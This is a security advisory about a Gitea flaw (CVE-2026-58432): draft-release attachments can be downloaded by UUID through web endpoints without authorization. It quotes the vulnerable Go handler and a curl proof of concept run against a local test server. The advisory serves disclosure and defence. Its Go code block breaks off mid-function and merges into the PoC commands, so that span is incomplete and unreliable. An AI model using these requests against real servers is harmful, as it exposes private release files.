GitHub Advisoryadvisory · Go
GHSA-q9pg-jj6x-j9p6 Gitea: draft release attachment disclosure via missing web authorization
MEDIUM
Official page ↗
- Aliases
- CVE-2026-58432
- Ecosystem
- Go
- Packages
- code.gitea.io/gitea
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-639, CWE-732, CWE-862
- Reviewed
- 2026-07-21
Affected packages
• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0
Description
Summary
Gitea's draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.
The `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.
Details
Root cause: the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:
```go
// routers/web/repo/attachment.go:122-203, current implementation
func ServeAttachment(ctx *context.Context, uuid string) {
attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)
if err != nil { ... }
// cross-repo guard (only fires when accessed via repo-scoped URL)
if attach.CreatedUnix > repo_model.LegacyAttachmentMissingRepoIDCutoff &&
ctx.Repo.Repository != nil && ctx.Repo.Repository.ID != attach.RepoID {
ctx.HTTPError(http.StatusNotFound)
return
}
unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)
if unitType == unit.TypeInvalid {
if !(ctx.IsSigned && attach.UploaderID == ctx.Doer.ID) {
ctx.HTTPError(http.StatusNotFound)
return
}
} else {
var perm access_model.Permission
// ... resolves repo perm
if !perm.CanRead(unitType) { // confidential.txt
$ ATT=$(curl -s -H "Authorization: token $ALICE_TOKEN" \
-F "[email protected];filename=confidential.txt" \
http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)
$ UUID=$(echo "$ATT" | jq -r .uuid)
$ ATT_ID=$(echo "$ATT" | jq -r .id)
UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a
browser_download_url returned: http://127.0.0.1:3000/attachments/
```
Step 2: non-collaborator carol cannot see the draft via the API (correct):
```bash
$ curl -s -o /dev/null -w '%{http_code}\n' \
-H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID
404
```
Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:
```bash
(C) carol, top-level
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK, full content
(D) carol, repo-scoped legacy
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK
(E) carol, release-scoped web
$ curl -s -H "Authorization: token $CAROL_TOKEN" \
http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK
(G) anonymous, top-level (NO auth header)
$ curl -s http://127.0.0.1:3000/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK, no auth needed at all
(H) anonymous, repo-scoped legacy
$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID
TOP_SECRET_BUILD_ARTIFACT # <-- 200 OK
```
Verdict matrix:
| Endpoint | Carol (auth, non-collab) | Anonymous |
|---|---|---|
| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |
| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |
| Web `/attachments/{uuid}` | **200 LE…
Related
Alias · CVE (1)
- CVE-2026-58432 Missing Authorization and Authorization Bypass Through User-Controlled Key and Incorrect Permission Assignment for Critical Resource and… vulnerability
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6 web
- https://github.com/go-gitea/gitea/pull/38318 web
- https://github.com/go-gitea/gitea/pull/38325 web
- https://github.com/go-gitea/gitea/commit/ab10e37acf7fabf7829a485cc3e13d118638a856 web
- https://github.com/go-gitea/gitea/commit/f7fd51022495737cf960b8c4053a27d69148f664 web
- https://github.com/go-gitea/gitea package
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0 web